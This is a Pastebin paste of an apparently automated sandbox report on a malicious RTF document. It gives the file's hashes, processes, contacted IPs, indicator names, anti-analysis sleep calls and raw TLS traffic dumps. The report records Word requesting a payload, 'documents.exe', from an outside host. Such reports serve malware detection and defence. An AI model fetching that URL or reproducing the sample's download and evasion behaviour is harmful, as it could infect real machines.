API tools faq
paste
paladin316

RTF_a2c666fa5a13c744ad2c859e8874eb1b_doc_2019-08-13_11_30.txt

paladin316
Aug 13th, 2019
2,936
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 218.16 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Ebth"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "RTF_a2c666fa5a13c744ad2c859e8874eb1b.doc"
  7. * File Size: 239199
  8. * File Type: "Rich Text Format data, version 1, unknown character set"
  9. * SHA256: "e0bc6cc8d075d9de8e9bc531b410f820ca0eb5995e79cf49b6a3897663c20622"
  10. * MD5: "a2c666fa5a13c744ad2c859e8874eb1b"
  11. * SHA1: "c19d97f366747bf02e43b9ccef17daa8be90fb4c"
  12. * SHA512: "5a4f889e3754c7e4c47a2bea2e7b4159259c3ac8b4528a255a8a3af2d2002e0d91e5451112c2f365eb11c2e73e10a5b539c5d8f67fd29acae793c7ae293c5c5f"
  13. * CRC32: "29D2172E"
  14. * SSDEEP: "3072:m3qFosF+HXqsF+HXUsF+HXvsF+HXJsF+H+mxgLSQWno:mqFMXuXIX3X5+ug+Ql"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE",
  18. "splwow64.exe"
  19.  
  20.  
  21. * Executed Commands:
  22. "\"C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE15\\FLTLDR.EXE\" C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT",
  23. "C:\\Windows\\splwow64.exe 12288"
  24.  
  25.  
  26. * Signatures Detected:
  27.  
  28. "Description": "Attempts to connect to a dead IP:Port (9 unique times)",
  29. "Details":
  30.  
  31. "IP": "52.109.20.1:443"
  32.  
  33.  
  34. "IP": "184.28.188.193:80"
  35.  
  36.  
  37. "IP": "45.64.104.39:80"
  38.  
  39.  
  40. "IP": "104.18.24.243:80"
  41.  
  42.  
  43. "IP": "23.38.126.36:443"
  44.  
  45.  
  46. "IP": "40.91.122.234:443"
  47.  
  48.  
  49. "IP": "72.21.91.29:80"
  50.  
  51.  
  52. "IP": "184.28.188.192:80"
  53.  
  54.  
  55. "IP": "23.221.114.21:443"
  56.  
  57.  
  58.  
  59.  
  60. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  61. "Details":
  62.  
  63. "ioc": "ist.glox"
  64.  
  65.  
  66. "ioc": "ontent.inf"
  67.  
  68.  
  69. "ioc": "chicago.xsl"
  70.  
  71.  
  72. "ioc": "rame.glox"
  73.  
  74.  
  75. "ioc": "mlaseventheditionofficeonline.xsl"
  76.  
  77.  
  78. "ioc": "quations.dotx"
  79.  
  80.  
  81. "ioc": "architecture.glox"
  82.  
  83.  
  84. "ioc": "chevronaccent.glox"
  85.  
  86.  
  87. "ioc": "sist02.xsl"
  88.  
  89.  
  90. "ioc": "rocess.glox"
  91.  
  92.  
  93. "ioc": "ccent.glox"
  94.  
  95.  
  96. "ioc": "content.inf"
  97.  
  98.  
  99. "ioc": "iew.thmx"
  100.  
  101.  
  102. "ioc": "ext.glox"
  103.  
  104.  
  105. "ioc": "harvardanglia2008officeonline.xsl"
  106.  
  107.  
  108. "ioc": "iso690nmerical.xsl"
  109.  
  110.  
  111. "ioc": "ieee2006officeonline.xsl"
  112.  
  113.  
  114. "ioc": "e.gu"
  115.  
  116.  
  117. "ioc": "adial.glox"
  118.  
  119.  
  120. "ioc": "rid.glox"
  121.  
  122.  
  123. "ioc": "..3b"
  124.  
  125.  
  126. "ioc": "rame.thmx"
  127.  
  128.  
  129. "ioc": "rings.glox"
  130.  
  131.  
  132. "ioc": "gosttitle.xsl"
  133.  
  134.  
  135. "ioc": "set.dotx"
  136.  
  137.  
  138. "ioc": "asis.thmx"
  139.  
  140.  
  141. "ioc": "anded.thmx"
  142.  
  143.  
  144. "ioc": "turabian.xsl"
  145.  
  146.  
  147. "ioc": "gostname.xsl"
  148.  
  149.  
  150. "ioc": "iso690.xsl"
  151.  
  152.  
  153. "ioc": "nline.xsl"
  154.  
  155.  
  156. "ioc": "ype.thmx"
  157.  
  158.  
  159. "ioc": "gb.xsl"
  160.  
  161.  
  162. "ioc": "uotable.thmx"
  163.  
  164.  
  165. "ioc": "etropolitan.thmx"
  166.  
  167.  
  168. "ioc": "ividend.thmx"
  169.  
  170.  
  171. "ioc": "pictureorgchart.glox"
  172.  
  173.  
  174. "ioc": "rc.glox"
  175.  
  176.  
  177. "ioc": "erlin.thmx"
  178.  
  179.  
  180. "ioc": "arallax.thmx"
  181.  
  182.  
  183. "ioc": "avon.thmx"
  184.  
  185.  
  186. "ioc": "eadlines.thmx"
  187.  
  188.  
  189. "ioc": "roplet.thmx"
  190.  
  191.  
  192. "ioc": "adge.thmx"
  193.  
  194.  
  195. "ioc": "late.thmx"
  196.  
  197.  
  198. "ioc": "ircuit.thmx"
  199.  
  200.  
  201. "ioc": "g.n9"
  202.  
  203.  
  204. "ioc": "rop.thmx"
  205.  
  206.  
  207. "ioc": "amask.thmx"
  208.  
  209.  
  210. "ioc": "esh.thmx"
  211.  
  212.  
  213. "ioc": "eathered.thmx"
  214.  
  215.  
  216. "ioc": "vent.thmx"
  217.  
  218.  
  219. "ioc": "rail.thmx"
  220.  
  221.  
  222.  
  223.  
  224. "Description": "Performs some HTTP requests",
  225. "Details":
  226.  
  227. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  228.  
  229.  
  230. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  231.  
  232.  
  233. "url": "http://neeladri.com/documents.exe"
  234.  
  235.  
  236.  
  237.  
  238. "Description": "A process attempted to delay the analysis task by a long amount of time.",
  239. "Details":
  240.  
  241. "Process": "splwow64.exe tried to sleep 3240 seconds, actually delayed analysis time by 0 seconds"
  242.  
  243.  
  244. "Process": "WINWORD.EXE tried to sleep 318 seconds, actually delayed analysis time by 0 seconds"
  245.  
  246.  
  247.  
  248.  
  249. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  250. "Details":
  251.  
  252. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x01r\\x96\\x8c\\x1e\\xef\\xf5\\xd5\\x96\\x0c\\xcb\\xd3\\x0e\\xc0\\xd04\\x9a\\xb1\\x89of\\xa4\\xaa\\x88s\\xa7\\xd6\\x1e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  253.  
  254.  
  255. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04-dqb\\x10\\xb1\\xac\\xcc<!\\xf5*\\x7f\\xe6\\x05\\xban\\xcb*um\\xe8\\x82x\\xaf\\xd3-\\xcb\\xc8\\xdb\\x8e\\x90v\\x13\t\\xc8\\xb2\\xd6y\\xbb\\x04\\x02\\xc2\\xebj\\xd2\\x98q!\\x9d\\x8cl\\xb0\\x93\\xedodd\\xbe\\x91>y\\x90\\x0b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000r\\x89o\\xfd^\\xd3\\xa9\\x15s!\\x14\\xe8\\x05x\\x8a\\xc6\\x9f\\xf5\\xc7\\x966\\xfe\\xbabb\\xaa\\xf3ca\tm\\xe7(1\\x92\\x02\\x07\\xec~~\\x1bv'\\xf6\\xca\\x18\"\\xe2"
  256.  
  257.  
  258. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  259.  
  260.  
  261. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  262.  
  263.  
  264. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p<se\\xbc\\xbe\\x13\\xaa\\x99f\\xfc\\\\x9fz\\xe87\\x9d!\\xd8\\xf0u-\\x17\\xf5\\xc8\\xa8)`\\x90\\xab9\\x11\\xde,\\xa6inv\\x01\\x82\\xac\\xd0$\\x84d\\xe0 \r\\xa9mk\\xa5s\\xe7\\xe7pwi0<\n\\xa6\\xc5zb\\xb6\\xfe\\xe2\\xe2g\\xf5\\x1e\\xa7\\xdcloz\\xcf\\x84\\x19\\x95\\x81\\x11\\xde\\xd5\\xae(\\xc8\\xd7\\xe2\\x1a1\\xc2\\x1d\\x0fo/\\x84\n\\x89\\xd1z\\xbf\\x7f\\xe2)n\\xae\\x93$\\xd7\\xc2\\x00\\x03\\xc3g\\xb6\\x94\\xcd\\xf2\r)\\xae\\xf4\\x03\\x9d\\xd1i\\x8ag\\x89h;\\xfa\\xd4\\x97\\xfb\\x8cip9\\xbe5\\xbf`c\\x96\\xbb\\x97\\xbfw\\x16\\xef\\xde\\x0e\\xa4\\x07\\xcdw\\xd4k)~\\x1f\\xd7b\\x0c\\xb5\\xa3rp\\x03bg\\x07\\x0c\\x1c>\\xcd\\xa8p\\xbbb\\xd7\\xe3\\x05i\\xf8\\xe8\\xf8\\xd6\\xa4\\xafc\\xee @/\\xfbf\\x9c\\xa8$\tp\"o\\xecf\\x1e*\\x16\\x98*\\xe4\\x93!\\x94n\\xf5\\x1a&\\xb0\\x95a\\x17\\x02\\x1b\\x1f\\xc2s\\xeatx\\xad\\x83!\\xfd\\x8f\\xb5\\x014o\\xbf\\x02q\\xbd"
  265.  
  266.  
  267. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\\\x18\\xfe\\xady\\xfdmqd\\x01\\xb4c\\xc4\"\n>\\xc8\\xe2\\xe6\\xc6`h\\xec\\xe4\\xfd\\x07,\\x19\\xfe8#ku\\xb9\\xf5\\xb7\\x10yi\\xbc\\x02\\x81)\\xbd\\xc3\\xbe\\x89\\xde\\xfap\\x10t\\x18\\xbd\\xba1\\xdd\\xd0|\\x96\\x9bnxw\\x89\\xd3p\\xcd#<\\xf0\\x995\\x9fe\\x90_\\x16\\x8e\\x8b\\x0f\\xb2\\xa1^\\x10\\x92%\\xcd\\x18\\x81yy\\xf9\\xad\\x8c\\xcf\\xac\\x99r\\xd5\\xef\\xcc\\x0b\\xa5\\xb3$\\x9e\\xec>\\xab\\xe5\\xb7\\xca\\xb7\\x1az^\\xc4 \\xf7\\x83\\xd1q\\xd1\\xe5\\x8a\\xfe\\xe9l_\\xa2v=\\xed\\xc9ys\\x89y\\x10\\x8ctfo\\xbc\\xf7\\x80g\\xadz\\xd3n\\x82\\xf04\\xee\\xd9u\\xa5\\xda\\xb8\\xd1\\xf1\\xfa\\x0b>\\x07\\xbc4\\xe0\\xd6\\x08\\xc4\\xd3\n\\xa6\\xc7t\\x0cy\\xff/n\\xe7g\\xc6?\\x88x\\xa1\\xf5\\x84\\xb0\\x9a\\x1a\\xa2\t\\xa5\\xf9kn\\x1d\\xaf!t\\xc9l\\x9f\\xe8\n\\xacj0\\x97\\xb1s\\xc0\\xa8o\\x97\\x81^\\x87\\xbb0g\\x8fth\\xd6\\xfa`\\xf8\\xc1:\\xb6\\xf5\\x12\\xf91\\xda\\xec\\x05"
  268.  
  269.  
  270. "http_request": "winword.exe_InternetCrackUrlW_httP://neeladri.com/documents.exe"
  271.  
  272.  
  273. "http_request_path": "winword.exe_HttpOpenRequestW_/documents.exe"
  274.  
  275.  
  276. "http_request": "winword.exe_InternetCrackUrlA_http://neeladri.com"
  277.  
  278.  
  279. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x01r\\x96\\x8f`\\xd6\\x00+\\xb0\\x83\\xa1\\x0cp\\xb1h=\\x05\\xdf\\x99\\x05\\xb2\\x02q\\x90\\xd7s\\xb8\\xa9\\xb1\\xf8\\xc5\\x8a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  280.  
  281.  
  282. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x93\\x91\\xb5`\\xdcp7\\xcfzu-%\\x02_\\xc9\\xc7\\xe5\\xb7\\xee\\xbdp_\\x88\\x08\\x0e\\xbd\\xb8vpm\\xc3\\xfe\\xa2s\n\\x9f\\x81\\x8c\\xa8\\xb0\\xfa8\\xe6\\xaey1\\xbf\\xc43\\xa2\\xe62\\x0f\\xe3\\xd6+mu\\xfbg\\xf0->\\xbb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x15\\x02ka@\t?|\\x1fo:/\\xaean~\\xb6\\xa8\\(\\x9f\\xf4\\x9c|\\xf9k\\x99\\xa8\\x08w\\xe8k\\xaex9\\x1c\\x08\\x07\\xb9!\\xe0\\x96d\\xe5vdm"
  283.  
  284.  
  285. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p)\\x90\\xed0\\x1e1\\xaa\\xc2>\\xed\\xbe-\\x83\\x84m\\xd9\\x06j#\\xc4\\xd4\\xc8;1\\xd7\\x95~z\\x88q\n\\xe3\\xe0\\x0e\\x9a\\xaet\\x13\\xab\\x1a\\xca\\x1c\\xd2g\\x9d\\xc9\\xa18\\xaa\\xbdh\\x8f\"\r\\xc8\\xe6\\x08\\x1b\t\\x9b\\x15\\x97\\xa1\\xdd\\xfe\\x06n\\xb9\\x8ae\\x8f\\x94\\x8fe\\xf0d\\xda\\x05\\xe5\\x05\\xcfn;i\\xa3\\xe7\\xb04kc\\x0f\\x11\\\\x89\\xe4i\\x9a\\xd8\\x0e\\x0f\\xb1h\\xa1!\\x07\\x10da\\x97!j\\xa6%\\x17\\xb7\\xcd\\xad\\xdd\\x0c\\xe0\\x85q\\xf7\\xacf\\xaa\\xe2\\x1d\\x10?pxsm++to8*3\\xecs\\x11#\\xdff\\x7f\\xe2\\xd2\\\\xfe\\xd1\\x92\\xf3?3\\x18$b\\xc7\\x0c>\\x97\\xb7m\\xd4\\x8f\\xa2d%\\xe7\\xf5h8\\xbe\\xcbfk\\xb0%\\x84ug\\xba\\xff18\\xf1\\xea\\xd6\\x0b\\xe28k?\\x98\\xd1\\xf7\\x924a\\xd0v\\xfc; \\xb0\\xe5\\xe7\\xa5\\xfe\\x00\\xfb\\x15u\\x82\\xa4y\\\\xe9\\xba\\xc8)\\xd7\\xdcg\\xee#\\xdd\\xaa\\x17lm\\xb1\\x9e\\x9d\\x8a\\x12\\xcc\r\\x07p"
  286.  
  287.  
  288. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x01r\\x96\\x96\\xf5\\xd9\\xf3\\xa2@\\x98\\x91t>s\\x16\\xbc\\xb6\\x11\\x03\\x1bv\\xcd\\x17\\xbe\\x13\\xbb\\xb6\\x06\\xdfp\\xa1\\x99\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  289.  
  290.  
  291. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc4\\x81\\xda\\x99\\x7f5\\x03i\\xdb9\\x01\\xac\\xf8x\nuj\\xd8x\\x92\\x0cj\\xe9\"n)\\x1f\\x99k_\\xf0\\xa1\\xefk55qw\\xdd\\xd6\\x96m\\xba8\\xfe\\x84\\xaa\\xaf\\xb6\\x07\\x8c~\\xf7\\x86\\xeb\\xb7l\\x08\\xc7\\x89%\\xd7\\xaa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000:\\x95\\xbfo\\xd4\\xb1\\xab\\xcd1\\x92\\x87\\x82\\x06\\x13\\x10e\\x18qj\\x8b*\\xda^\\x84\\x99x\\xd9\\xe0\\xdac/\\x1b\\x1c!+\\x0fz%b\\xe3\\xef\\xcfip\\x95"
  292.  
  293.  
  294. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`y\\xf6c\\x9a\\xb4h7_#\\xee\\x1b\\x1e\\xe7\\xf9\\xd3\\x14\\xc2\\x8e\\xac\\xfet\\x1f\\xcd\\xf4\\x16\\x85\\x9a\\xd7b@\\xff\\xed\\x98\\x8e\\xedt\\xbcn%\\x18b>:\\xdf\\x9c\\x94\\xc5\\x83\\xce\\x9ei\\x7f\\x9a\\x1c|\\xdd\\xfc\n\\xbdv\\xf9\\x92\\x8f\\xbd\\xd0\\xab\\x83/#\\x00\\xaa\\x8e\\x962\\xe2\\x19\\xe9\\x8e\\x12\\xc3en\\x15k\\x0bz?*\\xc2\\xf1|\\xacl\\xe84\\xac@\\x92\\xd6\\xac\\xc4\\xa6\\\\xf9\\x81\\x8f\\xcb\\xd4\\xc4\\x83\\x96\\xa2+\\x97\\x9d\\xb4g~\\x16\\x04?eak\\xef\\xae\\x85\\xd6\\x1ar\r\\xf9\\xc6\\xf7\\xc052\\xfba|7\\x0cc\\xb0\\xfc\\xcb\\xa7\\xa0cv,y\\xa8\\xcd\\x1eu\\xdb\\xc3w6\\x91\\x05\n\\xe1\\x1d\\xdd;\\xd526\\xef\\x8dtu\\xd8\\x08\\xf5\\x1f\\xa3m\\xa7\\xee\\x85\\xc1#n\\xb2\\x97s\\x92\\xe7\\xcf0\\x18\"\\xda\\xda\\xed\\xd0\\x8b\\xb2\\xfe\\xa5w\\x8cb\\xba\\x06\\x9e'>\\x8e2\\xf7i\\xb7\\xad\n\\x0e\\x8d\\xd9\\x10\\xc5d\\xde\\xfcb\\x90\\x12\\x88\\xa0\\xad\\x90;\\x897\\xdc\\xaf@\\x81\\xe1f\\x1ceq\\xf1"
  295.  
  296.  
  297. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019pl\\xd5\\x05\\x15a\\xcbs\\xa9\\x99\\xe1j\\x12%\\x8b\\x84\\x1em\\xe4\\x06\\\\x8f\\x9e\\x03s\\x95x\\xfe\\x9c+r^\\xe3\\xbc\\xf1\\x9fj\\x9a\\xe7\\x85\\xf9=\\xee)p\\xd1\tag\\x0f\\xc4a\\x9e\\x03\\x9e\\xec\\xac\\xdd\\xe8\\x19n\\xc6>\\xb8\\xb9b\\x15\\xc4\t@\\xac\\x92\\xf5u\\xb6\\xfe\\xc8.\\xab^)cn\\xde\\x03y\\x82\\x95\\x8fp\\x18i\\xe4af\\x0f\\x9ca\\xce|\\x88\\x9a8\\xb70\\xa1xq\\x85\\x92\\x81\\xed\\xb5\\xa7\\xe8.\\xfa\\xb3\\x06i\\xd53\\x94\\xd8>\\x9f`\\xdbk\\xcd\\x06\\x06\\xf2$z5r\\x1e\\xf2\\xb5\\xf6\\x8a\\x18\\xf7xp*\\xf9c\\xcdfc\\x9a\\x9b\\x80\r\\xaa\\xbd\\x91\\xf2m\\xab\\xbe\\x89\\xdag\\xd4\\xd6\\xf7\\xf2\\xae\\x05\\x7f\\x83)\\xaf$g\\x147o\\xa3=k\\xf7\\xbd2@\\xc2hd\\x83\\xd3\\x046t\\xeb-\\xfe\\x06\\xce\\x07`\\xe9!l2\\xa9\\xc6-\\xc6\\x1b0i:\\xf0\\xd5 8sn\\xc2k\\xe5x\\xa6-\\x8c\\xf3\\x808q\\x03\\x0c\\x8f?:\\xf6\\x03m\\\\x90\\x1a\\xc4\\x7f\\xcf?\\xe9\\xda"
  298.  
  299.  
  300. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x01r\\x96\\x97\\xaa\\xd0\\xf7\\x15|\\xb9\\xd5=\\x93\\x0c\\x19\\x10\\xf2i(tgvb<v\\xc5\\x1f`\\xb5sy\\xdb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  301.  
  302.  
  303. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x01mo\\xaeta,\\x15`\\x90r\\x86\\xe1\\x11\\x04\\xfc\\x18i\\x81\\xde\\xa1\\xe4\\xe1d\\x1c\\x98\\xdb\\x92\\x05\\xe7,\\x0e\\x8f\\xf5\\x87\\x10-\\x89\\x95\\x95\\xe0\\xb4\\x94n\\xe7x:\\xb9\\xb9\\xeb)\\x12\"2\\x1e\\xd4\\x92'c\\x95\\xe9\\x00?c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa5\\x85\\x1c\\xb8\\xe4\\xfe\\x10x\\xa0\\x89\t\\xd7\\xa2\\\\xc4u9\\xe0y\\x7fyf\\xf7\\xc7x\\\\x88\\x1f\\xc7\\xabu\\xd2f\\xad\\xea\t\\xaf\\xb9\\xf0\\x850\\xbf\\x97\\x0bv\\x07r"
  304.  
  305.  
  306. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p|\\x18\\xc7ygq\\x9ap\\x18\\x0cn\\xd0z\\xfaq\\x81!\\xf46\\xc1\\x8c;\\xfa\\x8b\\xffr\n\\xdb\\xdb\\x8e\\x13<_\ts^\\xb8v\\x16a\\x06e\\xf2\\x81\\xf5\\xea\\xcb\\xcf\\x04\\x11%\\xa5z\t|\\\\xbf\\xf3\\x1c\\xc3\\xe1j\\xf6\\x91\\xd8<\\xc7\\x12\\xd5\\xf2\\x19obr\\xb6;\\xddq\\xd4\\xf8b \\x86s\\x90\\x8cw\\x9d\\xec\\x1b6\\xfau;j\\xe2\\x1ah\\x9er\\x99z-c\\x88\\x94y\\x1d(~\\xf7s\\xd3\\xf2=\\xa5z\\xabl\\xdb:\\x9c\\x8e6d~\\xc82b\\xad\\xc9<<\\x97\\x91 \\xde\\xc4/n\\xdf|\\x12\\xd4pt\\xa5\\xd9w\\x14\\xbf\\x9f=\\xbd5\\x94e\\xb3m\\x89\\xda\\xde\\xa1\\xb6x\\xd5rl\\xa6\\xb51\\xee$\\xf9\\xfd\\xbc\\xec7\\xe0\\x87\\xc5\\xe1\\xe5\\x07\\x0ct\\x1e\\x9e\\xf3o\\xd1\\xb9\t\\x89:\\x0f\\x873\\xe3\\xb7\\xc3\\x8e\\x88\\xfet/j\\xc1!mwcefx\\x8fi\\xad1\\x9a\\xd5\\xef\\x0e%$cj\\x936\\xb2\\x02iv)\\xff\\xcao\\xf1\\xfb\\xc9\\x8e\\xba9\\xc3\\x9f\\x8b\\xa7\\xd9\r"
  307.  
  308.  
  309. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xebwi\\xb6\\x9d\\x8e\\xec\\x1b\\x10\\xc8\\xad\\xfd\\xea\\xe0zv\\xcbl\\xc3\\xbe\\x86h\\x8c\\xb8\\xb05\\x91\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  310.  
  311.  
  312. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x972%\\x13\\xb1\\xdc6\\xfd\\x94\\xf6\\xd9\\xc8\\x15\\xc1\\xcd\\xe6\\x9b\\xe9'\\xeb\\xd42a,q\\xe1\\xb9\\x17\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  313.  
  314.  
  315. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xbbc\\x9f-\\x02.\\x9aa`6\\xf4\\x04\\x91\\xa2,\\xa3\\x0f\\xb5\\xaa\\xa8l\\xf1s\\xc2\\xebo\\xb6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  316.  
  317.  
  318. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xc2\\xdf\\xc3\\xad\\x1f\\xba\\xe7\\xf7-\\xea\\xae\\xa9\\x87q?\\xa5\\x912zs\\xa4z\\xfe\\xb9y\\x14\\xae\\xad\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  319.  
  320.  
  321. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97\\xe9^`^\\x7f7\\xfa\\x83\\x91t\\x86g\\xfd\\x9e\\xf1\\xd2\\xdbmyt)\\x86\\xca\\x84\t\\x9e\\xc9\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  322.  
  323.  
  324. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97v\\xe0\\xb37\\xa8 \\x91ba1ri\\x03\\x052z\\x92\\x8e\\x9fw\\x9bx0j\\x93s\\x86\\xff\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  325.  
  326.  
